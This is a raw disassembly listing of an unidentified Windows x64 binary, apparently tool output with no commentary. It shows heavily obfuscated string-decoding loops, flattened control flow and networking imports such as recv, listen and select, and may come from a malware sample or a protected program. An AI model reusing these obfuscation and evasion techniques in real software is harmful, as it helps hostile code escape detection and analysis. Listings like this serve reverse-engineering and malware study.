movzx eax, dl
and al, r11b
mov ecx, Ordinal_33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x950]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009a052
inc rax
cmp r8, rax
jne 0x14009a86a
movabs rcx, 0x4419fbdecec44a9a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x36
jmp 0x14009ad0a
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009a8a0
movabs rdx, 0x55275faf664fcb86
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009acd1
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14009a8d7
movabs rcx, 0x6634c37ffddb4c72
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1e
dec rbx
inc rbx
jmp 0x14009a052
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009a5fd
movabs rdx, 0x774227509566cd5e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009abff
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009a93e
movabs rcx, 0xcc92e41552d52e85
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x5d
jmp 0x14009abff
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009a975
movabs rcx, 0xdda047e5ea60af71
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x17
dec rbx
inc rbx
jmp 0x14009a052
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009a9b6
movabs rcx, 0x77345d9ecdb1f0d3
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x3b
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009a052
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14009a59f
movabs rcx, 0x10c87357b1033235
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x73
movzx eax, byte [rbp + rbx + 0x950]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009a052
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009aa3f
movabs rdx, 0x6619301c6e71935c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x3e
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x950]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009a052
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009aa75
movabs rdx, 0x10baa9a5e94e55aa
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009aca7
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009aab1
movabs rdx, 0x99415b8e35141620
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x14009a052
lea rax, [r9 + 9]
cmp r8, rax
jne 0x14009a54f
movabs rcx, 0xaa4ebf5ecc9f970c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x54
jmp 0x14009abff
movabs rdx, 0xbb5c232f642b17f8
add rdx, rbx
movzx eax, r11b
and al, dl
movzx ecx, byte [rbp + rbx + 0x950]
sub cl, al
add cl, 0x1c
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x14009aca7
movabs rcx, 0x43e2d517aff0d86e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, byte [rbp + rbx + 0x950]
lea r10d, [r11 + rcx]
sub r10b, 2
jmp 0x14009ad0a
movabs rcx, 0x66428d31c59028fd
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x15
movzx eax, byte [rbp + rbx + 0x950]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009a052
movabs rcx, 0xddbbdb4979ca6887
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x4f
jmp 0x14009ad3d
movabs rcx, 0x4427c59096792725
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 3
jmp 0x14009acd1
movabs rcx, 0x331a61bffeeda639
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x71
dec rbx
inc rbx
jmp 0x14009a052
movabs rcx, 0x220cfdef6762254d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1b
movabs rcx, 0x7718ca3b3e4837bd
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x2b
add cl, r11b
mov byte [rbp + rbx + 0x950], cl
inc r9
dec rbx
inc rbx
jmp 0x14009a052
movabs rcx, 0x8878e8368410e3eb
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6d
inc r9
dec rbx
inc rbx
jmp 0x14009a052
movabs rcx, 0xfff2364e384b2375
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x33
dec rbx
inc rbx
jmp 0x14009a052
movabs rcx, 0x776b8465ec8562ff
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 7
movabs rdx, 0xff9f7c238a0df833
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x65
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0x950], cl
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009a052
mov r11, rdx
movabs rcx, 0xddd76ead0934219d
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x4b
movabs rdx, 0x88262e0bd5d3b8a9
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, 0x61
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0x950], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0xcc6986fffbb698e4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x3c
add cl, r11b
mov byte [rbp + rbx + 0x950], cl
inc r8
mov rax, r13
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x950]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009a052
movabs rcx, 0xccca0adc71a8a0b1
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
add r10b, 0x29
movzx eax, byte [rbp + rbx + 0x950]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009a052
movabs rcx, 0x76fd36d7aede7ea7
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x6f
jmp 0x14009a050
movabs rcx, 0xee7684ef6318be31
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x57
jmp 0x14009a040
lea rcx, [rbp + 0x16eb0f4]
jmp 0x14009ae1f
lea rcx, [rbp + 0xd1912f]
jmp 0x14009ae1f
lea rcx, [rbp + 0x950]
mov rdx, rdi
call fcn.1400353f0
test al, al
je 0x14009ae7a
lea rdx, [0x14021ac50]
lea rcx, [rbp + 0x300]
call fcn.1400022f0
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp]
mov rcx, qword [0x140220748]
call fcn.14006b3a0
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002490
lea rcx, [rbx + 0x30]
call fcn.14006a7d0
movzx ecx, byte [rax]
mov byte [0x14021c5db], cl
lea rdx, [0x14021ab10]
lea rcx, [rbp + 0x320]
call fcn.1400022f0
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x10]
mov rcx, qword [0x140220748]
call fcn.14006b3a0
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002490
lea rcx, [rbx + 0x30]
call fcn.14006a7d0
mov rdi, rax
mov byte [rbp + 0xce8], 0xe3
mov byte [rbp + 0xce9], Ordinal_143
mov byte [rbp + 0xcea], Ordinal_143
mov byte [rbp + 0xceb], 0x9c
mov byte [rbp + 0xcec], 0x99
mov byte [rbp + 0xced], __WSAFDIsSet
mov byte [rbp + 0xcee], Ordinal_143
mov byte [rbp + 0xcef], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xcf0], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xcf1], 0xb0
mov byte [rbp + 0xcf2], 0xa6
mov byte [rbp + 0xcf3], 3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xcf4], xmm0
mov dword [rbp + 0xd04], eax
mov word [rbp + 0xd08], ax
mov byte [rbp + 0xd0a], al
movabs rsi, 0xf08c13fe8d0b2c23
movabs r12, 0x855c00f3bd92d157
movabs r14, 0x68f48457eeb7aa3d
movabs r15, 0x5e3c82707392078f
movzx r10d, byte [rsp + 0x40]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14009be2d
movzx r11d, byte [rbp + rbx + 0xce8]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x14009be21
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14009afc3
lea rcx, [rbx + r12]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
sub r10b, 0x61
jmp 0x14009b000
je 0x14009bd98
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009bcfc
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009bcc9
lea rax, [r9 + 6]
cmp r8, rax
je 0x14009bc6b
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009bc13
nop dword [rax]
cmp r9, rbx
ja 0x14009be15
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x14009b035
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0xb
add r10b, dl
jmp 0x14009b080
lea rax, [r9 + 1]
cmp r8, rax
je 0x14009bbef
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009bbc5
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009bb8e
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009bb5a
lea rax, [r9 + 6]
cmp r8, rax
je 0x14009bb36
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14009b73f
nop dword [rax]
lea rax, [r9 + 6]
cmp r8, rax
je 0x14009b716
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14009b6e8
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009b6be
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14009b695
lea rax, [r9 + 4]
cmp r8, rax
je 0x14009b659
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14009b625
lea rcx, [r9 + 0x28]
cmp r8, rcx
je 0x14009b5fd
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14009b5d4
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14009b59a
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14009b090
mov r8, rcx
lea r9, [rcx + 0x10]
lea rax, [r9 + 0x5a]
cmp rcx, rax
jb 0x14009bdf0
lea rax, [r9 + 0x20]
cmp rcx, rax
jb 0x14009bdcc
lea rax, [r9 + 0x41]
cmp rcx, rax
jb 0x14009b285
lea rax, [r9 + 0x10]
cmp rcx, rax
jb 0x14009b266
lea rax, [r9 + 0x7a]
cmp rcx, rax
jb 0x14009b247
lea rax, [r9 + 0xa]
cmp rcx, rax
jb 0x14009b538
lea rax, [r9 + 0x61]
cmp rcx, rax
jb 0x14009b4d9
lea rax, [r9 + 0x200]
cmp rcx, rax
jb 0x14009b486
lea rax, [r9 + 4]
cmp rcx, rax
jb 0x14009b456
lea rax, [r9 + 0x80]
cmp rcx, rax
jb 0x14009b090
lea r8, [r9 + 5]
lea r9, [r8 + 3]
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x14009b41c
lea rax, [r9 + 4]
cmp r8, rax
ja 0x14009b3f4
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14009b3cc
lea rax, [r9 + 3]
cmp r8, rax
ja 0x14009b393
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x14009b357
lea rax, [r9 + 2]
cmp r8, rax
ja 0x14009b32f
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x14009b304
lea rax, [r9 + 1]
cmp r8, rax
ja 0x14009b2d2
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x14009b2a9
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14009b090
lea r8, [r9 + 0x41]
lea r9, [r8 + 0x61]
jmp 0x14009b090
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x55
add r10b, dl
jmp 0x14009b080
lea rdx, [rbx + r15]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x17
add r10b, dl
jmp 0x14009b000
movabs rcx, 0x53848088f86c64e1
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x27
jmp 0x14009af85
movabs rdx, 0x84609ff468596118
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009bc36
movabs rdx, 0x79a89e0ced33be6a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x14009af72
movabs rcx, 0x6ef09c25720e1bbc
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x24
dec rbx
inc rbx
jmp 0x14009af72
movabs rdx, 0x64389a3df6e8790e
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x62
add r10b, dl
jmp 0x14009bc8a
movabs rdx, 0x598098567bc2d660
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009af72
movabs rdx, 0x4ec8966f009d33b2
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009af72
movabs rdx, 0x4410948785779104
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x1c
add r10b, dl
jmp 0x14009bd1e
movabs rdx, 0x395892a00a51ee56
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x5a
add r10b, dl
jmp 0x14009bd4e
movabs rdx, 0x2ea090b88f2c4ba8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xce8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009af72
movabs rcx, 0x93d48bf5db4e34f5
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x4d
mov byte [rbp + rbx + 0xce8], r10b
inc rbx
jmp 0x14009af72
movabs rdx, 0x891c8a0e60289247
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0xf
add r10b, dl
cmp r9, 9
jb 0x14009b476
movabs rdx, 0x22a8611d887f68aa
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea r10d, [rcx*2 - 0x4c]
jmp 0x14009bc36
movabs rdx, 0x7e648826e502ef99
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x2f
add r10b, dl
cmp r8, 0x64
jae 0x14009bad6
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x14009b9b2
movabs rdx, 0xb7784e12b9070dde
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x12
jmp 0x14009b4a6
movabs rcx, 0x73ac863f69dd4ceb
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6d
lea rax, [r9 + r8]
cmp rax, 0x7a
je 0x14009bb06
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x14009b8ca
movabs rdx, 0xc6ec3a142bfbe1bb
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x1d
jmp 0x14009b4f9
movabs rdx, 0xa34877f74e4308d2
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xce8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009af72
movabs rdx, 0x9890760fd31d6624
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 2
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009bd4e
movabs rdx, 0x8dd8742857f7c376
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x3a
add r10b, dl
jmp 0x14009bd1e
movabs rcx, 0x83207240dcd220c8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x78
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009af72
movabs rdx, 0x7868705961ac7e1a
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009af72
movabs rdx, 0x6db06e71e686db6c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 6
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009bc8a
movabs rcx, 0x62f86c8a6b6138be
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x32
dec rbx
inc rbx
jmp 0x14009af72
movabs rcx, 0x58406aa2f03b9610
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x70
inc r9
dec rbx
inc rbx
jmp 0x14009af72
movabs rdx, 0x4d8868bb7515f362
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009bc36
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x14009b76a
lea rcx, [rbx + r12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x61
jmp 0x14009b557
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009b7b1
movabs rdx, 0xe11827fd1a165846
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xce8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009af72
inc rax
cmp r8, rax
jne 0x14009b7e6
movabs rdx, 0xebd029e4953bfaf4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009bd4e
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14009b81b
movabs rdx, 0xf6882bcc10619da2
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x6e
add r10b, dl
jmp 0x14009bd1e
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009b85d
movabs rcx, 0x1402db38b874050
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x30
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009af72
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009b894
movabs rcx, 0x21683369fcf8285a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x76
dec rbx
inc rbx
jmp 0x14009af72
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14009b557
movabs rdx, 0x36d83738f3436db6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 3
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009bc36
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009b8fc
movabs rdx, 0xd1a43bfba7218469
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x21
jmp 0x14009bc33
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009b93e
movabs rcx, 0x73c45810eddb1cf
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x57
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009af72
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009b96f
movabs rcx, 0x11f447688a03547d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6b
jmp 0x14009bd1e
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14009b4fc
movabs rcx, 0x27644b37804e99d9
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x11
movzx eax, byte [rbp + rbx + 0xce8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009af72
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009b9f9
movabs rdx, 0xc2304ffa342cb08c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xce8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009af72
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009ba2f
movabs rdx, 0xf7c8597f9be8ddf2
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009bc8a
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14009ba66
movabs rcx, 0x2805b67170e80a0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x60
dec rbx
inc rbx
jmp 0x14009af72
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009baa0
movabs rcx, 0xd385d4e9234234e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x22
inc r9
dec rbx
inc rbx
jmp 0x14009af72
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14009b4a9
movabs rdx, 0x17f05f360d59c5fc
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, select
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009bc36
movabs rdx, 0x2d60630503a50b58
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx r10d, byte [rbp + rbx + 0xce8]
sub r10b, al
sub r10b, 0x68
add r10b, dl
add r10b, r11b
jmp 0x14009bc8a
movabs rdx, 0x381864ec7ecaae06
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, byte [rbp + rbx + 0xce8]
sub r10b, 0x2a
add r10b, dl
jmp 0x14009bd1e
movabs rcx, 0x3b942152eb129ee5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x43
jmp 0x14009bd1e
movabs rcx, 0x30dc1f6b6fecfc37
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x7f
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009af72
movabs rcx, 0x26241d83f4c75989
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x41
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009af72
movabs rcx, 0x10b419b4fe7c142d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3b
dec rbx
inc rbx
jmp 0x14009af72
movabs rcx, 0xfb4415e60830ced1
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x49
jmp 0x14009bc36
movabs rdx, 0xe5d4121711e58975
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x33
add r10b, dl
movabs rcx, 0xa804621146123a01
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 7
add r11b, cl
mov byte [rbp + rbx + 0xce8], r11b
inc r9
dec rbx
inc rbx
jmp 0x14009af72
movabs rcx, 0xc5ac0c60a074a16b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x13
movabs rcx, 0xb2bc63f8c137dcaf
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x37
add cl, r11b
add cl, r10b
mov byte [rbp + rbx + 0xce8], cl
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009af72
movabs rcx, 0xb03c0891aa295c0f
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x69
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009af72
mov r11, rdx
movabs rcx, 0xa58406aa2f03b961
add rcx, rbx
and dl, cl
add dl, dl
movzx r10d, r11b
sub r10b, dl
add r10b, 0x59
add r10b, cl
movabs rcx, 0xbd7465e03c5d7f5d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x75
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0xce8], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0x42d066d3f9f050b4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0xce8], cl
inc r8
mov rax, r13
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xce8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009af72
movabs rcx, 0x901402db38b87405
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x23
movzx eax, byte [rbp + rbx + 0xce8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009af72
movabs rcx, 0x48cc7ea17d46c233
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x65
jmp 0x14009af70
movabs rcx, 0x3e147cba02211f85
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
